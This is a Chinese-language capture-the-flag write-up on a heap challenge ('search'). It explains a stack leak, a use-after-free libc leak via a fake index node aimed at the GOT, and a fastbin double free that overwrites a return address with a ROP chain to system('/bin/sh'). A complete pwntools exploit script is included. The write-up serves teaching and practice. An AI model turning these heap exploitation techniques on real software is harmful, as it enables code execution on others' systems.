Introduction
与 0ctf2017-babyheap 类似,考察的依然是 fastbin attack。
这题可以用相同的方法,double free 泄露 libc ,写 __malloc_hook 来 getshell,就不多说了,exploit 代码 exp2.py。
这里讲讲学到的新姿势。
Analysis
$ file search
search: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f5b70085d957097e91f940f98c0d4cc6fb3343f, stripped
$ checksec search
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
64位的程序,开启 NX 和 Stack Canary,没有 debug symbols。
$ ./search
1: Search with a word
2: Index a sentence
3: Quit
-
Search
先分配一块内存作为输入的缓冲区,再用 memcpy() 判断是否有匹配的内存,如果查找到让用户选择是否释放该内存,最后释放掉输入缓冲内存。
-
Index
malloc 自定义大小的 chunk,输入字符串,以空格符为间隔分割成不同的单词,每个单词用一块 0x30 字节的 chunk 存储索引,chunk 的尾部存储上一个索引,删除操作只释放掉存储字符串的 chunk,存储字符串索引的 chunk 并不被释放,可以利用这个漏洞泄露内存。
还有一个值得注意的地方,程序的 0x400a40 (read_num) 函数,如果输入的字符串长度为48个字符的话,字符串的尾部不会加上 null,而在内存中字符串是以 null为结束符的,那么当该字符串被打印时,内存中与字符串相邻的内容直到遇到 null 结束符为止也会被打印出来,这可以用来泄露 stack 指针。
现在程序的逻辑已经了解清楚,一般我们的目标是调用 system(‘/bin/sh’),这需要泄露 libc 地址。要执行 system 需要知道返回地址,总的来说我们的利用方法分为以下步骤:
- 泄露 stack - 获得返回地址
- 泄露 libc - 获得 system 地址
- 改写返回地址调用 system(‘/bin/sh’)
Leak Stack
尝试输入 48 个字符,看它会打印什么
$ ./search
1: Search with a word
2: Index a sentence
3: Quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not a valid number
程序并没有终止,当再次输入时,打印出了一个指针
$ ./search
1: Search with a word
2: Index a sentence
3: Quit
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not a valid number
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA �6
� is not a valid number
其实输入的同时在 gdb 中查看栈会发现第一次读取的字符串后面的内存总是空的,第二次读取的字符与之相邻的是指向上一个读取的字符串的指针,那么 leak stack 的脚本可以写成:
def leak_stack():
p.recvuntil("3: Quit\n")
p.sendline("A"*48)
p.recvline()
p.sendline("A"*48)
leak = p.recvline().split(" ")[0][48:]
if leak != "":
return u64(leak.ljust(8, "\x00"))
else:
log.info("leak_stack: fail!")
p.sendline("3")
exit()
不是每次都能泄露成功,多试几次。
Leak Libc
程序的 index 选项分配的字符串索引在字符串被删除后并未被释放。利用这个 uaf 如果能够分配一个 sentence
在字符串索引中,那么当 search
字符串匹配时就可以泄露 sentence
中我们所构造的地址信息,实现任意地址读取。
但是当程序的一个 sentence
被删除时,它所在的内存也被清空了,我们还需要通过 search
的空字符检查,然后再 search
一个空字符即可匹配到对应的 sentence
。
利用步骤如下:
- 分配一个与字符串索引大小一致的
sentence
(0x30字节大小)。 - 删除该
sentence
。 - 然后创建一个大于0x30字节的
sentence
,这样它被分配到一块新的内存,而它的字符串索引被分配到上一个sentence
的位置。 - 这时上一个
sentence
的字符串索引已不为空,使用search
空字符与其匹配并删除它,它任然是一个字符串索引。 - 现在使用
sentence
分配一个 0x30 大小的 chunk 落在字符串索引上,将其字符指针设置为 GOT 表地址。 - 当我们
search
GOT 表上的字符,GOT 表上的函数地址会被打印出来。
def leak_libc():
index_sentence(('a'*12 + ' b ').ljust(40, 'c'))
search('a' * 12)
p.sendline('y')
index_sentence('d' * 64)
search('\x00')
p.sendline('y')
node = ''
node += p64(0x400E90) # word pointer "Enter"
node += p64(5) # word length
node += p64(0x602028) # sentence pointer (GOT address of free)
node += p64(64) # length of sentence
node += p64(0x00000000) # next pointer is null
assert len(node) == 40
index_sentence(node)
# makes parsing out the leaked address easier below.
p.clean()
search('Enter')
p.recvuntil('Found 64: ')
leak = u64(p.recvline()[:8])
p.sendline('n') # deleting it isn't necessary
return leak
这里还是可以使用 small/large chunk 泄露 libc。
Exploit
接下来就是已经熟悉的 double free,只不过目标是返回地址,可以寻找栈上合适的地址作为构造的chunk,可以使用 ROPgadget 找到一个 pop_rdi_ret 地址给 system 提供参数,完整代码在 exp.py exp4.py
#!/usr/bin/env python2
from pwn import *
context(arch="amd64", os="linux")
p = process('./search-bf61fbb8fa7212c814b2607a81a84adf')
pop_rdi_ret = 0x400e23
system_offset = 0x46590
puts_offset = 0x6fd60
binsh_offset = 1558723
def leak_stack():
p.sendline('A'*48)
p.recvuntil('Quit\n')
p.recvline()
# doesn't work all the time
p.sendline('A'*48)
leak = p.recvline().split(' ')[0][48:]
return int(leak[::-1].encode('hex'), 16)
def leak_libc():
# this sentence is the same size as a list node
index_sentence(('a'*12 + ' b ').ljust(40, 'c'))
# delete the sentence
search('a' * 12)
p.sendline('y')
# the node for this sentence gets put in the previous sentence's spot.
# note we made sure this doesn't reuse the chunk that was just freed by
# making it 64 bytes
index_sentence('d' * 64)
# free the first sentence again so we can allocate something on top of it.
# this will work because 1) the sentence no longer starts with a null byte
# (in fact, it should be clear that it starts a pointer to 64 d's), and 2)
# the location where our original string contained `b` is guaranteed to be
# zero. this is because after the original sentence was zeroed out, nothing
# was allocated at offset 12, which is just padding in the structure. if
# we had made the first word in the string 16 bytes instead of 12, then that
# would put 'b' at a location where it would not be guaranteed to be zero.
search('\x00')
p.sendline('y')
# make our fake node
node = ''
node += p64(0x400E90) # word pointer "Enter"
node += p64(5) # word length
node += p64(0x602028) # sentence pointer (GOT address of free)
node += p64(64) # length of sentence
node += p64(0x00000000) # next pointer is null
assert len(node) == 40
# this sentence gets allocated on top of the previous sentence's node.
# we can thus control the sentence pointer of that node and leak memory.
index_sentence(node)
# this simply receives all input from the binary and discards it, which
# makes parsing out the leaked address easier below.
p.clean()
# leak the libc address
search('Enter')
p.recvuntil('Found 64: ')
leak = u64(p.recvline()[:8])
p.sendline('n') # deleting it isn't necessary
return leak
def index_sentence(s):
p.sendline('2')
p.sendline(str(len(s)))
p.sendline(s)
def search(s):
p.sendline('1')
p.sendline(str(len(s)))
p.sendline(s)
def make_cycle():
index_sentence('a'*54 + ' d')
index_sentence('b'*54 + ' d')
index_sentence('c'*54 + ' d')
search('d')
p.sendline('y')
p.sendline('y')
p.sendline('y')
search('\x00')
p.sendline('y')
p.sendline('n')
def make_fake_chunk(addr):
# set the fwd pointer of the chunk to the address we want
fake_chunk = p64(addr)
index_sentence(fake_chunk.ljust(56))
def allocate_fake_chunk(binsh_addr, system_addr):
# allocate twice to get our fake chunk
index_sentence('A'*56)
index_sentence('B'*56)
# overwrite the return address
buf = 'A'*30
buf += p64(pop_rdi_ret)
buf += p64(binsh_addr)
buf += p64(system_addr)
buf = buf.ljust(56, 'C')
index_sentence(buf)
def main():
stack_leak = leak_stack()
# This makes stack_addr + 0x8 be 0x40
stack_addr = stack_leak + 0x22 - 8
log.info('stack leak: %s' % hex(stack_leak))
log.info('stack addr: %s' % hex(stack_addr))
libc_leak = leak_libc()
libc_base = libc_leak - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
log.info('libc leak: %s' % hex(libc_leak))
log.info('libc_base: %s' % hex(libc_base))
log.info('system addr: %s' % hex(system_addr))
log.info('binsh addr: %s' % hex(binsh_addr))
make_cycle()
make_fake_chunk(stack_addr)
allocate_fake_chunk(binsh_addr, system_addr)
p.interactive()
if __name__ == '__main__':
main()
Reference